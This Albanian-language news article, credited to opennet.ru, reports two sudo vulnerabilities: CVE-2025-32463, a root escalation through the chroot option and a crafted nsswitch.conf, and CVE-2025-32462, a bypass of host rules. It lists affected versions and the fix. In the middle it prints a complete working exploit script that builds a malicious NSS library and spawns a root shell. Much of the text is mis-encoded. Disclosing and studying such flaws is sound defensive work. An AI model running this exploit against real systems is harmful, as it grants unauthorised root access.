Dobësi në mjetin sudo që lejojnë marrjen e të drejtave root në sistem

Në paketën sudo, e përdorur për të organizuar ekzekutimin e komandave në emër të përdoruesve të tjerë, është zbuluar një dobësi (CVE-2025-32463) që i lejon çdo përdoruesi pa privilegje të ekzekutojë kod me të drejta root, edhe nëse përdoruesi nuk përmendet në konfigurimin sudoers. Problemi prek shpërndarjet që përdorin skedarin e konfigurimit /etc/nsswitch.conf; për shembull, mundësia e shfrytëzimit të kësaj dobësie është demonstruar në Ubuntu 24.04 dhe Fedora 41.

Dobësia shfaqet në konfigurimin e parazgjedhur dhe është konfirmuar në versionet e sudo nga 1.9.14 deri në 1.9.17 (potencialisht prek të gjitha versionet duke filluar nga 1.8.33). Problemi është zgjidhur në përditësimin sudo 1.9.17p1. Gjendjen e versionit të ri të paketës ose përgatitjen e korrigjimit në shpërndarje mund ta kontrolloni në faqet e mëposhtme (nëse faqja nuk është e disponueshme, kjo do të thotë se zhvilluesit e shpërndarjes ende nuk kanë nisur shqyrtimin e problemit): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo dhe Arch (1, 2).

Problemi shkaktohet nga fakti qĂ«, gjatĂ« pĂ«rdorimit tĂ« opsionit “-R” (“—chroot”) pĂ«r tĂ« nisur komanda nĂ« njĂ« mjedis chroot me njĂ« direktori rrĂ«njĂ« tĂ« zgjedhur nga pĂ«rdoruesi, skedari /etc/nsswitch.conf ngarkohej nĂ« kontekstin e direktorisĂ« sĂ« re rrĂ«njĂ« dhe jo tĂ« direktorisĂ« sĂ« sistemit. MeqĂ« pĂ«rdoruesi mund tĂ« pĂ«rdorĂ« si direktori rrĂ«njĂ« pĂ«r chroot katalogun e vet, ai mund tĂ« vendosĂ« aty skedarin e konfigurimit nsswitch.conf. Duke kontrolluar skedarin /etc/nsswitch.conf qĂ« ngarkohet nga nĂ«nsistemi NSS (Name Service Switch), pĂ«rdoruesi mund tĂ« shtojĂ« nĂ« tĂ« parametra qĂ« çojnĂ« nĂ« thirrjen e pĂ«rpunuesve shtesĂ«. PĂ«rpunues tĂ« tillĂ« ngarkohen nga NSS nĂ« formĂ«n e bibliotekave tĂ« pĂ«rbashkĂ«ta, tĂ« cilat gjithashtu mund tĂ« vendosen nĂ« njĂ« katalog nĂ«n kontrollin e pĂ«rdoruesit. Duke zĂ«vendĂ«suar bibliotekĂ«n me tĂ« vetĂ«n, pĂ«rdoruesi mund tĂ« arrijĂ« ekzekutimin e kodit prej saj me tĂ« drejta root, pasi pĂ«rpunimi nga NSS kryhet pĂ«rpara heqjes sĂ« privilegjeve.

Shembull i eksploitit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include #include __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(«/»); execl(«/bin/bash», «/bin/bash», NULL); } EOF mkdir -p woot/etc libnss_ echo «passwd: /woot1337» > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo «woot!» sudo -R woot woot rm -rf ${STAGE?}

NĂ« versionin sudo 1.9.17p1 Ă«shtĂ« korrigjuar edhe njĂ« cenueshmĂ«ri tjetĂ«r (CVE-2025-32462), qĂ« lejon ekzekutimin e komandave me tĂ« drejta root, por shfaqet vetĂ«m nĂ« konfigurimet sudoers ku parametri «host» Ă«shtĂ« vendosur nĂ« njĂ« vlerĂ« tjetĂ«r nga ALL ose emri i hostit aktual. CenueshmĂ«ria shkaktohet nga njĂ« gabim pĂ«r shkak tĂ« tĂ« cilit opsioni «-h» («—host») vepronte jo vetĂ«m sĂ« bashku me opsionin «-l» («—list») pĂ«r tĂ« shfaqur privilegjet e lidhura me hostin, por edhe gjatĂ« ekzekutimit tĂ« komandave. Si rezultat, pĂ«rdoruesi mund tĂ« specifikonte çfarĂ«do hosti gjatĂ« thirrjes sĂ« sudo dhe tĂ« anashkalonte kufizimet e rregullave sudoers tĂ« lidhura me emrin e hostit.

Për të kryer sulmin, përdoruesi duhet të përmendet në sudoers. Për shembull, nëse në cilësime është përcaktuar «testuser testhost = ALL», atëherë përdoruesi «testuser» mund të përdorte «sudo -h testhost» dhe të ekzekutonte komanda me të drejta root në çdo host, jo vetëm në hostin testhost. Konfigurimet me parametra të tipit «testuser ALL = ALL» ose pa rregulla të qarta për një përdorues të caktuar nuk preken nga kjo cenueshmëri.

Burimi: opennet.ru

Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster